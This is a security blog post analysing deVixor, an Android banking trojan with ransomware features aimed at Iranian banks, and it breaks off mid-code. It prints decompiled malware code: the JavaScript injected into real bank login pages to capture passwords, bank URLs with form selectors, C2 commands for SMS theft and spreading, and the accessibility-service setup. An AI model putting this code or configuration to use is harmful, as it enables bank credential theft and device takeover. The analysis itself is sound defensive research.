Mobile Malware Analysis Part 8 - deVixor
All parts in this series
- 1 Mobile Malware Analysis Part 1 - Leveraging Accessibility Features to Steal Crypto Wallet
- 2 Mobile Malware Analysis Part 2 - MasterFred
- 3 Mobile Malware Analysis Part 3 - Pegasus
- 4 Mobile Malware Analysis Part 4 – Intro to iOS Malware Detection
- 5 Mobile Malware Analysis Part 5 – Analyzing an Infected Device
- 6 Mobile Malware Analysis Part 6 - Xenomorph
- 7 Mobile Malware Analysis Part 7 - Blackrock
- 8 Mobile Malware Analysis Part 8 - deVixor
Introduction
In this blog post, we present a comprehensive technical analysis of deVixor v2.3.0, a sophisticated Android banking trojan with ransomware capabilities targeting Iranian financial institutions. Through meticulous reverse engineering of over 4,800 obfuscated classes, we’ve mapped the complete malware architecture and documented every malicious capability with actual decompiled source code and file paths.
deVixor represents a significant evolution in mobile banking malware, combining traditional credential theft with modern RAT capabilities, ransomware functionality, and advanced anti-analysis techniques. The malware specifically targets the Iranian banking ecosystem with hardcoded configurations for 9+ major banks, bilingual support (Persian/English), and comprehensive SMS parsing for 80+ bank sender IDs.
Key Capabilities Discovered:
- Banking Credential Theft via JavaScript injection overlay attacks against 9 Iranian banks
- Ransomware with TRON (TRX) cryptocurrency payment demanding 50 TRX (~$6 USD)
- Keylogger via Accessibility Service abuse with 1.2s debounce mechanism
- SMS Interception for OTP capture and banking message parsing
- Anti-Uninstall Protection with bilingual keyword detection (Persian/English)
- Power Button Blocking preventing device shutdown
- 25+ RAT Commands for comprehensive device control
- 11 Activity Aliases for icon disguise (YouTube, Iranian banks, invisible)
Sample Information
| Attribute | Value | Source |
|---|---|---|
| Package Name | ir.devixor.app | AndroidManifest.xml |
| Version | 2.3.0 | AndroidManifest.xml |
| Bot ID | deVixor_Qq1tjN49 | assets/port.json |
| Min SDK | 24 (Android 7.0) | AndroidManifest.xml |
| Target SDK | 34 (Android 14) | AndroidManifest.xml |
| Compile SDK | 36 (Android 16 preview) | AndroidManifest.xml |
| Total Classes | 4,824 obfuscated in o package | jadx decompilation |
| TRX Wallet | TYDzsYUEpvnYmQk9sWMcTEd2MiAtW6 | o/CM.java |
| Offline Phone | 09014019397 | assets/off_mod.json |
| Wake Lock Tag | deVixor::Wake | ForegroundService.java |
You can download the decompiled code for the sample from this link.
Part 1: Initial Reverse Engineering Setup
1.1 Tools and Methodology
The analysis was conducted using industry-standard Android reverse engineering tools. The APK was first extracted using apktool to recover resources and the AndroidManifest.xml, then decompiled to Java source code using jadx for detailed code analysis.
# Extract APK resources and decode manifest
apktool d app-aligned.apk -o apktool_output
# Decompile DEX to Java source code
jadx -d jadx_output app-aligned.apk
# Count obfuscated classes in the o package
ls jadx_output/sources/o/*.java | wc -l
# Result: 4824
1.2 Initial Observations
Upon examining the decompiled output, two distinct code sections immediately stood out. The ir/devixor/app/ package contains the main application logic with clean, readable class names - this is where the developer wrote their primary code. In stark contrast, the o/ package contains 4,824 files with heavily obfuscated single-letter and short alphanumeric class names, indicating aggressive R8/ProGuard obfuscation was applied to hide the malware’s true functionality.
The R8 mapping ID is visible in every decompiled file header, providing a unique identifier for this specific obfuscation pass:
/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
1.3 AndroidManifest.xml Analysis
The manifest reveals the malware’s extensive permission requirements. A total of 28 dangerous permissions are requested, covering SMS operations, phone state access, contact manipulation, storage access, camera usage, and multiple foreground service types. This combination of permissions enables comprehensive device surveillance and control.
<!-- SMS Operations - Core banking trojan functionality -->
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<!-- Phone State - Device fingerprinting and call interception -->
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<!-- Contact Operations - For mass SMS spreading -->
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<!-- Storage and Camera - Photo/screenshot exfiltration -->
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.CAMERA"/>
<!-- Persistence permissions -->
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<!-- Firebase C2 Communication -->
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
Part 2: Code Architecture and Obfuscation Mapping
2.1 R8/ProGuard Obfuscation Analysis
All 4,824 classes in the o/ package were stripped of their original names by the R8 compiler, replaced with short alphanumeric identifiers like CM, QJ, Mh0, and C0720aY. The obfuscation pass is uniquely fingerprinted by the R8 map ID embedded in every class header (r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048), which could be useful for tracking builds across samples. To reverse the obfuscation, we relied on a combination of techniques: tracing method call chains back from known entry points like ForegroundService and AccessibilityService, looking for leftover toString() implementations the developer forgot to strip (the BankConfig class was a goldmine here), and matching debugging strings and file I/O paths to behavioral patterns. For example, finding "notificationListener.txt" in o.OS immediately told us its purpose, and the "deVixor::Wake" wake lock tag in ForegroundService confirmed the malware’s internal project name.
| Obfuscated Class | Actual Purpose | Evidence/How Discovered |
|---|---|---|
o.CM | RansomwareManager | Contains wallet_address, tron_amount fields; referenced from AccessibilityService.java:40 |
o.QJ | KeyloggerHandler | Has EditText detection logic with 1200ms debounce; referenced from AccessibilityService.java:44 |
o.OS | NotificationInterceptor | Writes to notificationListener.txt; processes TYPE_NOTIFICATION_STATE_CHANGED |
o.Mh0 | AntiUninstallProtection | Contains “app info”, “uninstall”, “حذف” keywords; referenced from AccessibilityService.java:52 |
o.C0720aY | PowerButtonBlocker | Contains “Power off”, “خاموش” keywords; referenced from AccessibilityService.java:56 |
o.C0599Xc | ScreenOverlayManager | Manages View overlays via WindowManager; referenced from AccessibilityService.java:36 |
o.C0262Kc | WebViewHooker | Extends WebViewClient; contains JavaScript injection in onPageFinished() |
o.C0236Jc | JavascriptInterface | Has @JavascriptInterface annotation with onLoginClicked method |
o.C0210Ic | BankConfig | toString() shows “BankConfig(url=, userSelector=, passSelector=)“ |
o.YA | DataCollector | Contains 25 switch cases with commands like GET_CAMERA_PHOTOS, GET_GALLERY |
o.C1652kB | CommandProcessor | Dispatches commands to ForegroundService methods |
o.C1367hB | BankSenderMapping | Maps bank sender IDs (BMI, Bankmellat) to bank names |
o.Fh0 | C2Decryptor | Multi-layer AES/CTR decryption with HmacSHA256/512 key derivation |
o.AbstractC1480iS | ServerConfigManager | Loads C2 URL from server.txt or decrypts hardcoded default |
o.C2506tB | RansomwareCommandHandler | Handles RANSOMWARE, SEARCH_APP, SET_WARNING_BANK commands |
2.2 Class Hierarchy Discovery
The breakthrough in mapping the malware’s architecture came from the AccessibilityService class. Lines 24-31 reveal a clean delegation pattern where six lazily-initialized modules each wrap an obfuscated handler via C1014dc0 (a Kotlin Lazy delegate). By following each delegate’s constructor index (K0(0) through K0(5)) into the factory class, we could resolve every handler to its concrete type. The onAccessibilityEvent() dispatcher at line 34 then confirmed each class’s role: QJ.b() processes text change events (keylogging), Mh0.j() monitors window state changes (anti-uninstall), C0720aY.c() watches for power menu dialogs, and so on. Each call is wrapped in its own try-catch so a crash in one module never takes down the others, a design choice that speaks to the author’s operational experience:
jadx_output/sources/ir/devixor/app/accessibilityservice/AccessibilityService.java
public final class AccessibilityService extends android.accessibilityservice.AccessibilityService {
public static AccessibilityService r; // Static reference for global access
// Lazy-loaded handler modules using delegation pattern
public final C1014dc0 l = new C1014dc0(new K0(0)); // Index 0: C0599Xc (ScreenOverlay)
public final C1014dc0 m = new C1014dc0(new K0(1)); // Index 1: CM (Ransomware)
public final C1014dc0 n = new C1014dc0(new K0(2)); // Index 2: QJ (Keylogger)
public final C1014dc0 f32o = new C1014dc0(new K0(3)); // Index 3: OS (Notification)
public final C1014dc0 p = new C1014dc0(new K0(4)); // Index 4: Mh0 (AntiUninstall)
public final C1014dc0 q = new C1014dc0(new K0(5)); // Index 5: C0720aY (PowerBlock)
The onAccessibilityEvent() method (lines 34-58) reveals how each handler is invoked for every accessibility event, wrapped in try-catch blocks to prevent any single handler failure from crashing the service:
@Override
public final void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
try { ((C0599Xc) this.l.getValue()).d(accessibilityEvent); } catch (Exception unused) {}
try { ((CM) this.m.getValue()).getClass(); } catch (Exception unused2) {}
try { ((QJ) this.n.getValue()).b(accessibilityEvent); } catch (Exception unused3) {}
try { ((OS) this.f32o.getValue()).a(accessibilityEvent); } catch (Exception unused4) {}
try { ((Mh0) this.p.getValue()).j(accessibilityEvent); } catch (Exception unused5) {}
try { ((C0720aY) this.q.getValue()).c(accessibilityEvent); } catch (Exception unused6) {}
}
Part 3: Application Entry Point and Execution Flow
3.1 MainActivity Analysis
The MainActivity is the orchestrator for a carefully staged permission acquisition pipeline. On launch, onCreate() initializes SharedPreferences, loads the remote-controllable permission.json from assets (which dictates which permissions to request and whether Accessibility is needed), and kicks off checkAndRequestPermissions(). What makes this flow interesting is how deliberate the ordering is. SMS permissions come first because they’re non-negotiable for a banking trojan, then device-specific handling for Samsung and Xiaomi kicks in, followed by the remaining dangerous permissions (contacts, storage, phone, camera), and finally the Accessibility Service prompt. Each phase feeds into the next through callback chains, and the whole sequence is gated by the JSON config, meaning the C2 operator can toggle which permissions get requested per campaign.
jadx_output/sources/ir/devixor/app/MainActivity.java
Phase 1: SMS Permissions
SMS permissions are the first thing requested, and for good reason. Without READ_SMS, SEND_SMS, and RECEIVE_SMS, the trojan loses its ability to intercept OTPs, parse banking notifications, and relay stolen data via SMS in offline mode. The getSmsPermissions() method returns this trio, and getMissingPermissions() checks which ones the user hasn’t granted yet. If any are missing, the smsPermissionLauncher ActivityResultLauncher fires a standard permission dialog. Once all three are granted (or if they were already granted from a previous run), the flow falls through to continueAfterSmsPermissions():
private final void checkAndRequestPermissions() throws IOException {
List<String> missingPermissions = getMissingPermissions(getSmsPermissions());
if (missingPermissions.isEmpty()) {
continueAfterSmsPermissions();
} else {
this.smsPermissionLauncher.a(missingPermissions.toArray(new String[0]));
}
}
Phase 2: Samsung and Xiaomi Device Detection
Samsung and Xiaomi together dominate the Iranian Android market, so the malware has manufacturer-specific code paths for both. Detection is straightforward: Build.MANUFACTURER is compared case-insensitively via AbstractC1299gb0.I(). But what happens next is where it gets interesting. The pickSamsungOrXiaomi() helper at line 650 conditionally loads different drawable resources. Samsung users see accessibility_guide_samsung with a Samsung-specific hint telling them to tap “Installed apps” then find the app, while Xiaomi users see accessibility_guide_xiaomi. There’s also a samsungHintBlock view (visible only on Samsung via setVisibility(isSamsungDevice() ? 0 : 8)) that walks Samsung users through the One UI accessibility settings flow. For Xiaomi, the bigger concern is MIUI’s aggressive battery optimization that kills background services. The openXiaomiAutostartSettings() method tries multiple intent paths in sequence: first the MIUI Security Center’s AutoStartManagementActivity, then the permissions editor with the package name passed via three different extra keys ("package", "extra_pkgname", "packageName"), then the miui.intent.action.OP_AUTO_START intent, and finally falls back to the standard app details settings page:
// Lines 525-527 - Samsung device detection
private final boolean isSamsungDevice() {
return AbstractC1299gb0.I(Build.MANUFACTURER, "samsung");
}
// Lines 533-535 - Xiaomi device detection
private final boolean isXiaomiDevice() {
return AbstractC1299gb0.I(Build.MANUFACTURER, "xiaomi");
}
// Lines 609-629 - Opening Xiaomi autostart settings
private final void openXiaomiAutostartSettings() {
Intent intent = new Intent();
intent.setComponent(new ComponentName(
"com.miui.securitycenter",
"com.miui.permcenter.autostart.AutoStartManagementActivity"
));
startActivity(intent);
}
Phase 3: Accessibility Service Check
The Accessibility Service is the backbone of six of the malware’s most invasive modules: keylogging, anti-uninstall, power button blocking, notification interception, ransomware overlay, and screen control. Whether this phase runs at all is controlled by the "Accessibility" field in permission.json (shipped as "off" by default, presumably toggled to "on" by the C2 operator once the bot is established). The isMyAccessibilityServiceEnabled() check reads the system’s enabled_accessibility_services setting and looks for the malware’s fully qualified service name (ir.devixor.app/ir.devixor.app.accessibilityservice.AccessibilityService). If the service isn’t enabled and the config requires it, showAccessibilityScreen() presents a custom dialog with manufacturer-specific visual guides (using the Samsung/Xiaomi detection from Phase 2) that walk the victim through enabling the service:
private final boolean isAccessibilityRequired() {
return AbstractC1299gb0.I(getPermConfig().optString("Accessibility", "off"), "on");
}
private final boolean isMyAccessibilityServiceEnabled() {
String string = Settings.Secure.getString(getContentResolver(), "enabled_accessibility_services");
if (string == null) return false;
return Za0.P(string, getPackageName() + "/" + AccessibilityService.class.getName(), true);
}
Phase 4: Start Malicious Service
With permissions secured, proceedToApp() fires up the real payload. On Android 8.0+ (API 26), it uses startForegroundService() via the wrapper AbstractC1456i7.w(), while older versions use a plain startService(). Immediately after, openWebViewActivity() reads webview.json from assets, parses the webview_url field from the JSON, and opens a decoy screen. The default decoy is Digikala, Iran’s largest e-commerce platform, making the app look like a shopping app. The activity is launched with FLAG_ACTIVITY_NO_ANIMATION and overridePendingTransition(0, 0) to make the switch invisible. Depending on the webview_url value, the malware can also load alternative decoy activities like EblaqActvity, VamAsanActvity, or PageGameActivity, giving operators flexibility to match whatever social engineering lure was used to distribute the APK:
private final void proceedToApp() throws IOException {
Intent intent = new Intent(this, (Class<?>) ForegroundService.class);
if (Build.VERSION.SDK_INT >= 26) {
AbstractC1456i7.w(this, intent); // startForegroundService wrapper
} else {
startService(intent);
}
openWebViewActivity(); // Opens decoy content (Digikala by default)
}
3.2 Execution Flow Diagram
The following diagram traces the complete path from app launch to full malware activation. Notice how the flow branches at each permission gate. If the user denies SMS permissions, the trojan still attempts to proceed with whatever it can get, but the real damage starts only once proceedToApp() fires up the ForegroundService and AccessibilityService in parallel. The ForegroundService handles all network-facing C2 operations (FCM subscription, command polling, data exfiltration, banking overlays), while the AccessibilityService runs the six local abuse modules that require UI-level access. Together, they form a two-pronged architecture where either service can operate independently if the other is killed.
+------------------------------------------------------------------------------+
| APPLICATION LAUNCH |
+------------------------------------------------------------------------------+
|
v
+------------------------------------------------------------------------------+
| MainActivity.onCreate() |
| - Initialize SharedPreferences |
| - Load permission.json configuration |
| - Call checkAndRequestPermissions() |
+------------------------------------------------------------------------------+
|
+---------------+---------------+
v v
+-------------------+ +-------------------+
| SMS Permissions | | Already Granted |
| Request Dialog | | |
+---------+---------+ +---------+---------+
| |
+---------------+---------------+
v
+------------------------------------------------------------------------------+
| continueAfterSmsPermissions() |
| - Check if Samsung/Xiaomi device -> Show device-specific guides |
| - Request remaining permissions (contacts, storage, phone, camera) |
+------------------------------------------------------------------------------+
|
v
+------------------------------------------------------------------------------+
| Check Accessibility Service Required? |
| - Read from permission.json: Accessibility = "on" or "off" |
| - If required and not enabled -> Open Accessibility Settings |
| - If required and enabled -> proceedToApp() |
| - If not required -> proceedToApp() |
+------------------------------------------------------------------------------+
|
v
+------------------------------------------------------------------------------+
| proceedToApp() |
| - Start ForegroundService (main RAT service) |
| - Open WebViewActivity (decoy: digikala.com) |
| - Finish MainActivity |
+------------------------------------------------------------------------------+
|
+-------------------------+-------------------------+
v v
+-----------------------+ +-----------------------+
| ForegroundService | | AccessibilityService |
| - FCM subscription | | - Keylogger (QJ) |
| - C2 communication | | - Anti-uninstall(Mh0) |
| - Command execution | | - Power blocking(aY) |
| - SMS/Contact theft | | - Notification(OS) |
| - Banking overlays | | - Ransomware (CM) |
+-----------------------+ | - Screen overlay(Xc) |
+-----------------------+
Part 4: Banking Overlay Attack System
4.1 Attack Flow Overview
The banking overlay attack is the primary credential theft mechanism and the most technically polished part of the malware. When the C2 operator sends an OPEN_BANK:melli command via FCM push, the ForegroundService launches BankEntryActivity with the bank key as an intent extra. The activity creates a WebView with JavaScript enabled, DOM storage active, and two critical components attached: a C0262Kc WebViewClient that hooks into onPageFinished() to inject credential-stealing JavaScript, and a C0236Jc object registered as a @JavascriptInterface under the name "Android". The WebView then loads the legitimate bank’s real login URL, not a phishing clone, but the actual bank portal. The victim is literally interacting with their real bank, which is what makes this attack so effective. Once the page loads, injected JavaScript silently attaches an event listener to the login button, and when the victim clicks it, the script reads the username and password field values and passes them to Android.onLoginClicked() before the form actually submits. The credentials cross the JavaScript-to-Java bridge, get wrapped in a JSON payload with the bank identifier, and are fired off to the C2 server via a Kotlin coroutine, all before the real login completes.
+-------------+ +------------------+ +-------------------+
| C2 Server | | ForegroundService| | BankEntryActivity |
| | | | | |
+------+------+ +--------+---------+ +---------+---------+
| | |
| 1. FCM Push: | |
| "OPEN_BANK:melli" | |
|------------------->| |
| | |
| | 2. Start Activity |
| | with bank="melli" |
| |------------------------>|
| | |
| | | 3. Load real bank URL:
| | | baam.bmi.ir/fa/auth/login
| | |
| | | 4. onPageFinished() triggers
| | | JavaScript injection via C0262Kc
| | |
| | | +-----------------+
| | | | User enters |
| | |<---| real username |
| | | | and password |
| | | +-----------------+
| | |
| | | 5. Injected JS intercepts click
| | | Calls Android.onLoginClicked()
| | |
| | 6. C0236Jc receives |
| | credentials via |
| | @JavascriptInterface |
| |<------------------------|
| | |
| 7. Send stolen | |
| credentials | |
| to C2 server | |
|<--------------------| |
4.2 BankConfig Data Class
Each targeted bank is represented by a C0210Ic instance, a simple data class holding five fields: the login URL, and CSS selectors for the username field, password field, login button, and a type key used to tag stolen credentials when reporting to C2. The field names were completely stripped by R8, leaving us with a through e. But the developer made a classic mistake: they left a toString() method intact that prints "BankConfig(url=, userSelector=, passSelector=, loginSelector=, typeKey=)", handing us the exact field mappings on a silver platter. This kind of oversight is more common than you’d think in obfuscated malware, and it’s always worth checking toString() implementations early in the analysis:
jadx_output/sources/o/C0210Ic.java
public final class C0210Ic {
public final String a; // Login URL
public final String b; // Username CSS selector
public final String c; // Password CSS selector
public final String d; // Login button CSS selector
public final String e; // Type key identifier
// DEVELOPER LEFT DEBUGGING CODE - reveals field purposes!
public final String toString() {
StringBuilder sb = new StringBuilder("BankConfig(url=");
sb.append(this.a);
sb.append(", userSelector=");
sb.append(this.b);
sb.append(", passSelector=");
sb.append(this.c);
sb.append(", loginSelector=");
sb.append(this.d);
sb.append(", typeKey=");
return AbstractC2462sn.n(sb, this.e, ")");
}
}
4.3 Complete Bank Configurations
The BankEntryActivity constructor (lines 35-38) contains hardcoded configurations for 9 Iranian banks. These configurations include the exact CSS selectors for each bank’s login form elements, demonstrating that the attackers conducted detailed reconnaissance on each target:
jadx_output/sources/ir/devixor/app/changer/BankEntryActivity.java
public BankEntryActivity() {
this.f34o = GN.a0(
new C3001yV("melli", new C0210Ic(
"https://baam.bmi.ir/fa/auth/login",
"input[formcontrolname='username']",
"input[formcontrolname='password']",
"button.mat-mdc-unelevated-button",
"bmi_login"
)),
new C3001yV("refah", new C0210Ic(
"https://www.rb24.ir/login.html",
"input#j_username",
"input#j_password",
"button#submitFormBtn",
"refah_login"
)),
// ... 7 more banks configured ...
);
}
| Bank | Key | Login URL | Username Selector | Identifier |
|---|---|---|---|---|
| Bank Melli Iran | melli | https://baam.bmi.ir/fa/auth/login | input[formcontrolname='username'] | bmi_login |
| Bank Refah | refah | https://www.rb24.ir/login.html | input#j_username | refah_login |
| Bank Keshavarzi | keshavarzi | https://ib.bki.ir/pid2.lmx | input#UserId | bki_login |
| Bank Mellat | mellat | https://ebanking.bankmellat.ir/ebanking/#/ | input#UserNameBox | mellat_login |
| Bank Saderat | saderat | https://ib.bsi.ir/public-page.ib | input#userID | bsi_login |
| Bank Sepah | sepah | https://ib.banksepah.ir/netway/pwa/index | input[name^='tsn-input-'] | sepah_login |
| Wepod | wepod | https://web.wepod.ir/signup/mobile | input#authIdentity-inp | wepod_login |
| Bank Pasargad | pasargad | https://oauth.bpi.ir/Account/LoginProcess?... | input#Username | pasargad_login |
| Bank Tejarat | tejarat | https://ib.tejaratbank.ir/web/ns/login_m?... | input[id$='userName_input'] | tejarat_login |
4.4 JavaScript Injection Code
The C0262Kc class extends WebViewClient and overrides onPageFinished(), the callback that fires once the bank’s login page has fully loaded. The injected JavaScript is an immediately-invoked function expression (IIFE) that queries the DOM for the username field, password field, and login button using the CSS selectors from the BankConfig. It then attaches a click event listener to the login button that calls Android.onLoginClicked(u.value, p.value), forwarding the credentials across the WebView’s JavaScript-to-Java bridge. Bank Saderat gets special treatment because its login form uses a different DOM structure (input#userID, input#password, input#login) and loads elements dynamically, so the injection includes a retry loop that polls every 300ms via setTimeout(hook, 300) until the form elements appear. The Saderat handler even logs "SADERAT HOOK OK" to console.log when it successfully attaches, another debugging artifact left behind by the developer:
jadx_output/sources/o/C0262Kc.java
public final class C0262Kc extends WebViewClient {
public final String a; // Bank ID
public final C0210Ic b; // Bank config
@Override
public final void onPageFinished(WebView webView, String str) {
super.onPageFinished(webView, str);
// Special handling for Bank Saderat (different DOM structure)
if (F3.c(this.a, "saderat")) {
strN = "(function() {\n" +
" function hook() {\n" +
" const u = document.querySelector(\"input#userID\");\n" +
" const p = document.querySelector(\"input#password\");\n" +
" const btn = document.querySelector(\"input#login\");\n" +
" if (u && p && btn) {\n" +
" btn.addEventListener(\"click\", function() {\n" +
" Android.onLoginClicked(u.value, p.value);\n" +
" }, true);\n" +
" return;\n" +
" }\n" +
" setTimeout(hook, 300);\n" + // Retry every 300ms until found
" }\n" +
" hook();\n" +
"})();\n";
} else {
// Generic injection using config selectors
strN = "(function() {\n" +
" const u = document.querySelector(\"" + b.b + "\");\n" +
" const p = document.querySelector(\"" + b.c + "\");\n" +
" const btn = document.querySelector(\"" + b.d + "\");\n" +
" if (u && p && btn) {\n" +
" btn.addEventListener(\"click\", function() {\n" +
" Android.onLoginClicked(u.value, p.value);\n" +
" });\n" +
" }\n" +
"})();\n";
}
webView.evaluateJavascript(strN, null);
}
}
4.5 Credential Capture Interface
The C0236Jc class is the Java-side receiver for stolen credentials. It’s registered as a JavaScript interface with the name "Android" on the WebView, meaning any injected script can call Android.onLoginClicked(username, password) to pass data into native code. The @JavascriptInterface annotation is required on Android 4.2+ for security reasons, and without it, the method wouldn’t be callable from JavaScript. When credentials arrive, the method fires a Kotlin coroutine (AbstractC1692kh0.C()) on the BankEntryActivity’s coroutine scope, which packages the username, password, and bank type key into a JSON payload and sends it to the C2 server. The coroutine-based approach means the network call happens off the main thread without blocking the UI, so the victim’s login proceeds normally and they never notice anything happened:
jadx_output/sources/o/C0236Jc.java
public final class C0236Jc {
public final String a; // Bank identifier
public final BankEntryActivity b;
@JavascriptInterface
public final void onLoginClicked(String str, String str2) {
// str = username, str2 = password
BankEntryActivity bankEntryActivity = this.b;
// Launch coroutine to send credentials to C2 server
AbstractC1692kh0.C(bankEntryActivity.n, null,
new C3063z4(bankEntryActivity, this, str, str2, null, 2), 3);
}
}
Part 5: Complete C2 Command Reference
We found the complete command set by grepping for .put("command" across all decompiled sources. Commands arrive via Firebase Cloud Messaging (subscribed to the topic deVixor_Qq1tjN49 from port.json) and are dispatched through two main handlers: ForegroundService (over 3,000 lines of code handling network-facing operations) and o.YA (the DataCollector class, which handles media exfiltration and app enumeration via a 25+ case switch statement). The command processor o.C1652kB sits between FCM and these handlers, parsing the incoming JSON and routing each command string to the appropriate method.
5.1 Data Collection Commands
The data collection commands cover everything an attacker would need for account takeover: SMS history for OTP theft and balance reconnaissance, contacts for spreading, photos and screenshots for intelligence gathering, and device accounts for identifying the victim. Note the per-command limits. GET_SMS caps at 10,000 messages, GET_GALLERY at 4,000 images, and GET_CAMERA_PHOTOS at 1,500, high enough to be thorough but bounded to avoid crashing on devices with massive media libraries. The GET_BNC_APPS command is particularly targeted: it checks for 44 specific Iranian banking app names and reports which ones are installed, giving the operator a precise picture of which overlay attacks will work on this device.
| Command | Source Location | Description | Limit |
|---|---|---|---|
GET_ACCOUNT | ForegroundService.java:936 | Get device accounts (Google, etc.) | All |
GET_ACCOUNT_SUMMARY | ForegroundService.java:1403 | Parse bank balances from SMS | - |
GET_BANK_SMS | ForegroundService.java:2074 | Extract SMS from known Iranian banks | 5000 |
GET_CARD_NUMBER | ForegroundService.java:1715 | Extract 16-digit card numbers from SMS | 50 unique |
GET_CONTACTS | ForegroundService.java | Export all contacts as JSON | All |
GET_SMS | ForegroundService.java | Retrieve SMS messages | 10000 |
GET_IPS | ForegroundService.java:1846 | Get public IP via api.ipify.org | - |
GET_CAMERA_PHOTOS | YA.java:524 | Exfiltrate camera photos | 1500 |
GET_GALLERY | YA.java:570 | Exfiltrate gallery images | 4000 |
GET_SCREENSHOTS | YA.java:730 | Exfiltrate screenshots | 1000 |
GET_BNC_APPS | YA.java:630 | List installed Iranian banking apps | 44 apps |
GET_SIM_SMS | ForegroundService.java | Get SIM card information | All slots |
GET_USSD_INFO | ForegroundService.java | Get USSD capabilities | - |
5.2 Device Control Commands
These commands give the operator direct control over the device. SEND_SMS is SIM-slot-aware, taking a slot number and using SubscriptionManager to get the correct SmsManager for dual-SIM devices, with a fallback to the default manager. SEND_SMS_TO_ALL is the mass-spreading mechanism: it reads the victim’s entire contact list and sends a custom message to every number, turning the infected device into a distribution node. RUN_USSD lets the operator execute arbitrary USSD codes (like balance checks or service activations) on a specific SIM slot. HIDE and UNHIDE toggle the app’s launcher icon between the original and the YouTube disguise via Android’s setComponentEnabledSetting() API.
| Command | Source Location | Description | Format |
|---|---|---|---|
SEND_SMS | ForegroundService.java:3021 | Send SMS to specific number | SEND_SMS:slot:number:message |
SEND_SMS_TO_ALL | ForegroundService.java:647 | Mass SMS to all contacts | SEND_SMS_TO_ALL:message |
RUN_USSD | ForegroundService.java:2393 | Execute USSD code | RUN_USSD:slot:*code# |
SET_RINGER_MODE | ForegroundService.java:702 | Set silent/vibrate/normal | SET_RINGER_MODE:mode |
HIDE | ForegroundService.java:2943 | Hide app icon (YouTube disguise) | HIDE |
UNHIDE | ForegroundService.java:385 | Restore original app icon | UNHIDE |
ADD_CONTACT | ForegroundService.java | Add contact to device | ADD_CONTACT:name:number |
IMPORT_VCF | ForegroundService.java | Import contacts from VCF | IMPORT_VCF:data |
5.3 Configuration Commands
The configuration commands allow the C2 operator to reconfigure the bot on the fly without deploying a new APK. CHANGE_SERVER updates the C2 URL by writing a new encrypted address to server.txt in the app’s files directory, a classic domain-fluxing technique for surviving takedowns. CHANGE_FIREBASE switches the FCM topic, allowing the operator to migrate their bot fleet to a new push channel. SET_OF_MOD configures offline SMS relay mode by writing a phone number and SIM slot to OfMod.json, enabling the bot to receive commands and exfiltrate data via SMS when the device has no internet. SET_WARNING_BANK writes a bank app name to checkbankwarning.txt, which triggers a warning overlay when the victim opens that specific banking app. RANSOMWARE and REMOVE_RANSOMWARE toggle the lock screen module by creating or deleting LockTouch.json.
| Command | Source Location | Description |
|---|---|---|
CHANGE_SERVER | ForegroundService.java:2133 | Update C2 server URL dynamically |
CHANGE_FIREBASE | ForegroundService.java | Update FCM topic configuration |
SET_OF_MOD | ForegroundService.java:2830 | Configure offline SMS relay mode |
SET_WARNING_BANK | C2506tB.java:197 | Configure bank warning overlays |
RANSOMWARE | C2506tB.java:131 | Enable ransomware lock screen |
REMOVE_RANSOMWARE | YA.java:766 | Disable ransomware, delete LockTouch.json |
SEARCH_APP | C2506tB.java | Search installed applications |
5.4 Offline SMS Commands (Persian)
This is one of the more unusual features we’ve seen in Android malware. When the device has no internet connectivity, the bot falls back to an SMS-based C2 channel, sending and receiving commands via text messages to the hardcoded phone number 09014019397 (from off_mod.json) on SIM slot 1. The commands are written entirely in Persian, which makes them blend in with normal Farsi SMS traffic and makes them harder for non-Persian-speaking analysts to spot in traffic logs. The "موج" (Wave) command is essentially a heartbeat/ping, "آخرین" (Last) retrieves the most recent SMS, and "مانده"/"موجودی" (Balance) triggers bank balance extraction from SMS history. The "اجراکد" (Execute Code) command is the most dangerous, allowing arbitrary code execution via the SMS channel:
| Persian Command | Transliteration | Function |
|---|---|---|
ستاپ:... | Setup:… | Initial configuration |
آخرین | Akharin (Last) | Get last SMS |
شماره | Shomare (Number) | Get phone numbers |
موج | Mowj (Wave) | Ping/heartbeat |
اجراکد:... | Ejrakod (Execute) | Run code |
پنهان | Penhan (Hidden) | Hide app |
مانده | Mandeh (Balance) | Get bank balance |
موجودی | Mojudi (Balance) | Get bank balance |
Part 6: Accessibility Service Abuse
6.1 Service Configuration
When the Accessibility Service connects, onServiceConnected() immediately stores a static reference to itself in AccessibilityService.r, giving every other module in the malware global access to the service instance without needing a Context. It then configures AccessibilityServiceInfo with event types 4196464, which is a bitmask combining TYPE_WINDOW_STATE_CHANGED (32), TYPE_VIEW_TEXT_CHANGED (16), TYPE_WINDOW_CONTENT_CHANGED (2048), and TYPE_NOTIFICATION_STATE_CHANGED (64), covering every event the six handler modules need. The flags value 80 enables FLAG_INCLUDE_NOT_IMPORTANT_VIEWS and FLAG_REPORT_VIEW_IDS, ensuring the service sees every UI element on screen including those Android normally considers unimportant. The notification timeout is set to just 50 milliseconds, meaning the service reacts to UI changes almost instantly. This is well below the typical 100-200ms range that legitimate accessibility apps use, and it’s tuned this aggressively because the anti-uninstall and power-blocking modules need to intercept and dismiss dangerous screens before the user can interact with them.
jadx_output/sources/ir/devixor/app/accessibilityservice/AccessibilityService.java (Lines 126-134)
@Override
public final void onServiceConnected() {
super.onServiceConnected();
r = this; // Static reference for global access
AccessibilityServiceInfo accessibilityServiceInfo = new AccessibilityServiceInfo();
accessibilityServiceInfo.eventTypes = 4196464;
// Bitmask breakdown:
